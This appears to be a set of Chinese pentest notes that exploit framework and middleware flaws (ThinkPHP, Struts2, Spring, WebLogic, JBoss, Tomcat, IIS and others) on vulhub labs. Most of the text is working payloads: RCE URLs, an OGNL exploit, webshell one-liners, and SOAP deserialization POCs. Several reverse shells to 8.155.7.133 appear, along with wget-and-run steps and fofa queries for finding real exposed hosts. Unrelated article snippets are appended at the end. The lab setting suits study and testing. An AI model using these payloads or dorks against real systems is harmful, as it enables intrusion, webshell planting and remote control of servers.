常见的框架漏洞
1.Thinkphp
Thinkphp5x远程命令执行及getshell
搭建靶场
cd vulhub/thinkphp/5-rce
docker-compose up -d
首页

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现⼀些问题。
远程命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程代码执行
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

远程getshell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd])?>" >>1.php
在根目录会生成1.php;直接访问即可

漏洞挖掘
#fofa查询
body="V5.0.7" && title="System error"
body="ThinkPHP V5"
icon_hash="1165838194"
body="ThinkPHP V5" && country="US"
struts2
S2-057远程执行代码漏洞
#靶场搭建
cd vulhub/struts2/s2-057
docker-compose up -d
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使⽤通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使⽤通配符namespace,从而导致远程代码执行漏洞的发生。
S2-057 先决条件:
alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执型行漏洞。
访问地址
/struts2-showcase/

在url处输入后刷新可以看到中间数字位置相加了。
/struts2-showcase/${(123+123)}/actionChain1.action


会发现他文件命也会变;所以我们每次都得改回来
将上面验证payload的值修改为我们的利用exp
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D



漏洞挖掘
#fofa查询
app="Struts2"
Spring
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
#靶场搭建
cd vulhub/spring/CVE-2017-8046
docker-compose up -d
来到首页去访问http://8.155.7.133:8080/customers/1


在此页面抓取数据包,使用PATCH请求来修改
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success 里面的数字是ascii码

然后进到docker容器里去看
docker exec -it bbf4d25afb18 /bin/bash

spring 代码执行 (CVE-2018-1273)
Spring Data 是⼀个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在⼀处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。
#靶场搭建
cd vulhub/spring/CVE-2018-1273
docker-compose up -d

访问地址
/users

在此页面进行抓包注册
加上POC
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/h")]=&password=&repeatedPassword=

进入容器查看
docker exec -it ID /bin/bash

反弹shell
在3.sh写
bash -i >& /dev/tcp/8.155.7.133/6666 0>&1

监听6666端口

搭建对外服务


BP修改语句
wget -O /tmp/shell.sh http://8.155.7.133:8888/3.sh

执行
bash -i /tmp/1shell.sh


漏洞挖掘
#fofa查询
icon_hash="116323821"
app="vmware-SpringBoot-framework"
Shiro
Shiro漏洞指纹
响应包中存在字段set-Cookie: rememberMe=deleteMe
Shiro rememberMe反序列化漏洞(Shiro-550)
Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
#靶场搭建
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

验证Shiro框架
使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架
#构造语句
Cookie:rememberMe=123


利用工具
先爆破密钥;爆破利用链;执行命令

反弹shell
#开启对外服务
python3 -m http.server 8888
#监听端口
nc -lvvp 6666
#执行命令
wget -O /tmp/shell.sh http://IP/3.sh
/bin/bash /tmp/shell.sh

中间件
IIS
IIS6.x篇
PUT漏洞
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
先来到首页

在当前页面抓取数据包
在看提交OPTIONS探测查看当前支持什么协议

用PUT上传文档,但不能直接上传方法脚本文档,可以先上传⼀个其他类型的文档,然后移动成脚本文档
PUT /1.txt HTTP/1.1
Host: 192.168.47.138
Content-Length: 23<%eval request("cmd")%>

使用move命令修改文件名
MOVE /1.txt HTTP/1.1
Host: 192.168.47.138
Destination: http://192.168.47.138/shell.asp


IIS6.0解析漏洞
在iis6.x中,.asp文件夹中的任意文件都会被当做asp文件去执行

在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码
#asp一句话
<%eval request("h")%>
单独创建一个1.jpg发现并不能解析

在a.asp下被解析

在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是
shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx
IIS短文件漏洞
Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16位 Windows的程序访问这些文件。在cmd下输入" dir /x"即可看到短文件名的效果

#原理
当后缀⼩于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
使⽤payload验证目标是否存在IIS短文件名漏洞,显示的404,说明目标存在该短文件名:
在根目录创建

访问
http://192.168.47.138/a*~1*/shell.aspx
404说明有这个文件



403说明没有


IS RCE-CVE-2017-7269
利用工具反弹shell
python2 '/root/桌面/iis6 reverse shell' 靶机IP 80 kali 8888

IIS 7x篇
HTTP.SYS远程代码执行(MS15-034) MS-->Microsoft 2015 -034




Apache
未知扩展名解析漏洞
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
无论我们的php在哪都会解析我们文件里的php代码

<?php @eval($_POST["c"])?>
访问一下我们上传的文件

AddHandler导致的解析漏洞
同上一样的
目录遍历漏洞

Apache HTTPD 换行解析漏洞(CVE-2017-15715)
cd vulhub/httpd/CVE-2017-15715
docker-compose up -d
上传我们的一句话;并使用BP抓取数据包

在我们的文件名后加一个空格

把我们的空格20换成0a

直接去访问我们的一句话

Nginx
文件解析漏洞
#靶场搭建
cd vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d
上传我们的图片马

获取路径后

去访问我们的图片马并在后面加上/.php

蚁剑测试连接

目录遍历漏洞

CRLF注入漏洞
环境搭建
vluhub靶场
cd vulhub/nginx/insecure-configuration
docker-compose up -d
首页就是这样

然后打开BP进行抓包
在头部构造我们的语句
%0aSet-cookie:jessioni=1
在响应处就可以看到我们构造的cookie

文件名逻辑漏洞(CVE-2013-4547)
vulhub靶场
cd vulhub/nginx/CVE-2013-4547
docker-compose up -d
来到首页在当前页面上传1.jpg;并进行抓包
1.jpg内容


在文件末尾我们给他加一个空格

去访问/uploadfiles/1.jpg...php;并用BP抓包


把2e,2e,2e改为20,00,2e


tomcat
Tomcat 远程代码执行漏洞(CVE-2017-12615)
#靶场搭建
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
来到首页;我们使用BP抓取当前页面数据包

PUT方式提交并写入木马
#绕过方式
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

直接去访问我们的木马

tomcat弱口令&war远程部署
环境搭建
vulhub 靶场
cd vulhub/tomcat/tomcat8
docker-compose up -d
来到首页


在我们之前生成的jsp木马(1.jsp)给他打包成zip;后缀改位war


我们去访问一下访问成功就去连接


tomcat 远程代码执行(CVE-2019-0232)
来到首页

访问地址
/cgi-bin/cmd.bat
输入
/cgi-bin/cmd.bat?&C%3A%5CWindows%5Csystem32%5Ccalc.exe

下载出来了;说明靶机那里会弹计算机
Apache Tomcat文件包含漏洞(CVE-2020-1938)
环境搭建
vulhub靶场
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 8.155.7.133

WebLogic
weblogic 弱口令getshell漏洞
环境搭建
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
IP/console/login/LoginForm.jsp

部署-->安装

选择上传文件;选择我们之前war包



可以看到我们的war包

然后去访问我们的木马;哥斯拉连接

XMLDecoder反序列化漏洞(CVE-2017-3506)
环境搭建
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
#访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
/wls-wsat/CoordinatorPortType

在当前页面抓包之后,添加下面请求包,反弹shell。
先监听我们的6666端口

修改请求方式;构造POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/8.155.7.133/6666 0>&1</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
反弹成功

wls-wsat反序列化漏洞(CVE-2019-2725)
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
/_async/AsyncResponseService

在当前页面抓包 , 修改请求包 , 写入shell
现在我们的home下创建1.txt;并写进jsp木马

python3 -m http.server 6666

修改请求方法;构造POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://8.155.7.133/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
木马位置
http://8.155.7.133:7001/bea_wls_internal/678.jsp

WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)
vulhub 靶场
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d
利用工具检测

WebLogic CVE-2018-2894文件任意上传
vulhub 靶场
cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d
设置Web服务测试开启
/console/login/LoginForm.jsp

域结构 -> base-domain -> 高级 -> 启动Web服务测试页


然后保存;进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这⼀点很重要
/ws_utc/config.do
#更改目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css


上传我们的木马

这个是我们的时间戳
121.40.229.129:7001/ws_utc/css/config/keystore/1726815031601_shell.jsp

CVE-2020-14882 WebLogic远程代码执行漏洞
vulhub 靶场
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
#访问管理控制台
http://IP:7001/console/login/LoginForm.jsp
#使⽤以下url绕过登录认证
http://IP:7001/console/css/%252e%252e%252fconsole.portal

未授权访问绕过

http://IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabe=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
可以看到执行成功了

JBoss
JMX Console未授权访问Getshell
vulhub 靶场
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
访问地址:/jmx-console/
这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进⼊)
找到这个点进去

在找这个

制作war包填写远程地址
python3 -m http.server 8888


连接成功

JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
vulhub 靶场
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
访问地址:/jbossmq-httpil/HTTPServerILServlet

python3 jexboss.py -u http://IP:8080


JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
vulhub 靶场
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
搭建好靶场后利用工具直接打

Jboss 5.x/6.x admin-Console后台部署war包Getshell
vulhub 靶场
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
访问地址:/jmx-console/


搭建远程部署 , 部署远程war包地址
python3 -m http.server 80



JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
vulhub 靶场
cd vulhub/jboss/JMXInvokerServlet-deserialization/
docker-compose up -d
搭建好后访问
/invoker/EJBInvokerServlet
返回如下说明存在反序列化

将反弹shell进行base64编码
bash -i >& /dev/tcp/8.155.7.133/6666 0>&1
CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS43LjEzMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}">exp.ser
curl http://8.155.7.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

成功反弹

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
vulhub 靶场
cd vulhub/jboss/JMXInvokerServlet-deserialization/
docker-compose up -d
跟上一关是一样的
相关文章:
常见的框架漏洞
1.Thinkphp Thinkphp5x远程命令执行及getshell 搭建靶场 cd vulhub/thinkphp/5-rce docker-compose up -d 首页 漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多&…...
在C++中实现一个能够捕获弹窗、检查内容并在满足条件时点击按钮的程序;使用python的方案
在C中实现一个能够捕获弹窗、检查内容并在满足条件时点击按钮的程序是相当复杂的,因为C本身并不直接提供高级的GUI自动化功能。通常,这样的任务会使用Windows API(如User32.dll中的函数)或者一些第三方库(如UIAutomati…...
《Vue3实战教程》26:Vue3Transition
如果您有疑问,请观看视频教程《Vue3实战教程》...
【架构设计(一)】常见的Java架构模式
常见的 Java 架构模式解析 在 Java 开发领域,选择合适的架构模式对于构建高效、可维护且能满足业务需求的软件系统至关重要。本文将深入探讨几种常见的 Java架构模式,包括单体架构与微服务架构、分层架构与微服务架构的对比,以及事件驱动架构…...
自定义有序Map
package cn.ziqirj.common.utils;import lombok.Getter; import lombok.Setter;import java.util.ArrayList; import java.util.List;/*** 模拟Map集合,key不可重复,按插入顺序排序* author zhangji** param <T>*/ public class CustomOrderlyMap&…...
Jenkins(持续集成与自动化部署)
Jenkins 是一个开源软件项目,是基于Java开发的一种持续集成工具。 官网:https://www.jenkins.io/ GitLab安装使用 安装前提:内存至少需要4G 官方网站:https://about.gitlab.com/ 安装文档:https://docs.gitlab.c…...
redis7基础篇2 redis的哨兵模式2
目录 一 哨兵模式 1.1 redis的哨兵模式作用 1.2 redis的哨兵模式架构 1.3 redis的哨兵模式参数说明 二 redis的哨兵模式搭建 2.1 redis的主从复制模式 2.2 redis的sentinel配置文件 2.3 redis的实例节点和sentinel节点启动 3.3 redis的哨兵模式原理 3.3.1 redis的哨兵…...
windows终端conda activate命令行不显示环境名
问题: 始终不显示环境名 解决 首先需要配置conda的环境变量 确保conda --version能显示版本 然后对cmd进行初始化,如果用的是vscode中的终端,那需要对powershell进行初始化 Windows CMD conda init cmd.exeWindows PowerShell conda …...
SpringBoot 2.6 集成es 7.17
引言 在现代应用开发中,Elasticsearch作为一个强大的搜索引擎和分析引擎,已经成为许多项目不可或缺的一部分。Spring Boot作为Java生态中最受欢迎的微服务框架之一,其对Elasticsearch的支持自然也是开发者关注的焦点。本文将详细介绍如何在S…...
加固服务器有什么用?
为什么越来越多的企业和个人都在加固他们的服务器?加固服务器不仅可以保护数据安全,还能提升整体系统的稳定性和可靠性。下面是聚名网的一些介绍。 加固服务器的首要目的就是提高安全性。随着网络攻击手段的不断演变,黑客和恶意软件的威胁也…...
Personal APP
1、Matlab 2023b https://www.bilibili.com/opus/887246540317392920 https://blog.csdn.net/qq_25719943/article/details/138096918 https://www.jokerdown.com/22886.html 2、 3、...
探索最新的编程技术趋势:AI 编程助手和未来的编程方式
随着技术的飞速发展,编程技术领域在近年来经历了深刻的变革。从人工智能到低代码开发工具,新的技术趋势不断涌现,不仅大幅提高了开发效率,也重新定义了开发者的角色和工作方式。本篇博客将探讨几项当前最值得关注的编程技术&#…...
Android:文件管理:打开文件意图
三步走: 一、先在AndroidManifest.xml声明provider: <providerandroid:name"androidx.core.content.FileProvider"android:authorities"${applicationId}.FileProvider"android:exported"false"android:grantUriPermi…...
从纯虚类到普通类:提升C++ ABI兼容性的策略
在C编程中,纯虚类(也被称为抽象类)通常用于定义接口,而普通类则包含具体的实现。然而,在某些情况下,将纯虚类转换为普通类并提供默认实现,可以显著提升应用程序二进制接口(ABI&#…...
QT中如何限制 限制QLineEdit只能输入字母,或数字,或某个范围内数字等限制约束?
在 Qt 中,你可以通过多种方式来限制 QLineEdit 只能输入特定类型的字符,如字母、数字或某个范围内的数字。以下是一些常见的方法: 1. 使用输入验证器(QIntValidator, QDoubleValidator, QRegExpValidator) Qt 提供了…...
Tailwind CSS 使用简介
参考网站安装 - Tailwind CSS 中文网 号称是开始使用 Tailwind CSS 通过 npm 安装 tailwindcss,并创建你的 tailwind.config.js 文件。 npm install -D tailwindcss npx tailwindcss init 在 tailwind.config.js 文件中添加所有模板文件的路径。 /** type {im…...
iOS 逆向学习 - iOS Architecture Cocoa Touch Layer
iOS 逆向学习 - iOS Architecture Cocoa Touch Layer 一、Cocoa Touch Layer 简介二、Cocoa Touch Layer 的核心功能1. UIKit2. Event Handling(事件处理)3. Multitasking(多任务处理)4. Push Notifications(推送通知&…...
C语言实现库函数strlen
size_t是 unsigned int fgets会读入\n,用strcspn函数除去 assert判读指针是否为空指针,使用前要引头文件<assert.h> #include <stdio.h> #include <assert.h> size_t mystrlen(const char* str) {assert(str);size_t count 0;while …...
050_小驰私房菜_MTK Camera debug, data rate 、mipi_pixel_rate 确认
mipi_pixel_rate = data rate * 4 / 10 (4 是表示4lane,10表示raw数据是10bit) mipi_pixel_rate 信息,我们可以通过 sentest命令打印看到: 下面的信息我们可以看到,mipi_pixel_rate = 501.357739Mpps,mipi rate = 10000000,是对应的我们驱动文件里面配置写的mipi_pixel_r…...
(六)vForm 动态表单(数据量大,下拉选卡顿问题)
系列文章目录 (一)vForm 动态表单设计器之使用 (二)vForm 动态表单设计器之下拉、选择 (三)vForm 动态表单解决下拉框无数据显示id问题 (四)vForm 动态表单自定义组件、属性 (五)vForm 动态表单文件上传、下载 文章目录 目录 前言 一、组件改造 1.添加分页所需参…...
生成xcframework
打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式,可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...
pam_env.so模块配置解析
在PAM(Pluggable Authentication Modules)配置中, /etc/pam.d/su 文件相关配置含义如下: 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块,负责验证用户身份&am…...
【2025年】解决Burpsuite抓不到https包的问题
环境:windows11 burpsuite:2025.5 在抓取https网站时,burpsuite抓取不到https数据包,只显示: 解决该问题只需如下三个步骤: 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...
VTK如何让部分单位不可见
最近遇到一个需求,需要让一个vtkDataSet中的部分单元不可见,查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行,是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示,主要是最后一个参数,透明度…...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...
在QWebEngineView上实现鼠标、触摸等事件捕获的解决方案
这个问题我看其他博主也写了,要么要会员、要么写的乱七八糟。这里我整理一下,把问题说清楚并且给出代码,拿去用就行,照着葫芦画瓢。 问题 在继承QWebEngineView后,重写mousePressEvent或event函数无法捕获鼠标按下事…...
【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...
Vue 模板语句的数据来源
🧩 Vue 模板语句的数据来源:全方位解析 Vue 模板(<template> 部分)中的表达式、指令绑定(如 v-bind, v-on)和插值({{ }})都在一个特定的作用域内求值。这个作用域由当前 组件…...
Linux中《基础IO》详细介绍
目录 理解"文件"狭义理解广义理解文件操作的归类认知系统角度文件类别 回顾C文件接口打开文件写文件读文件稍作修改,实现简单cat命令 输出信息到显示器,你有哪些方法stdin & stdout & stderr打开文件的方式 系统⽂件I/O⼀种传递标志位…...
CppCon 2015 学习:REFLECTION TECHNIQUES IN C++
关于 Reflection(反射) 这个概念,总结一下: Reflection(反射)是什么? 反射是对类型的自我检查能力(Introspection) 可以查看类的成员变量、成员函数等信息。反射允许枚…...
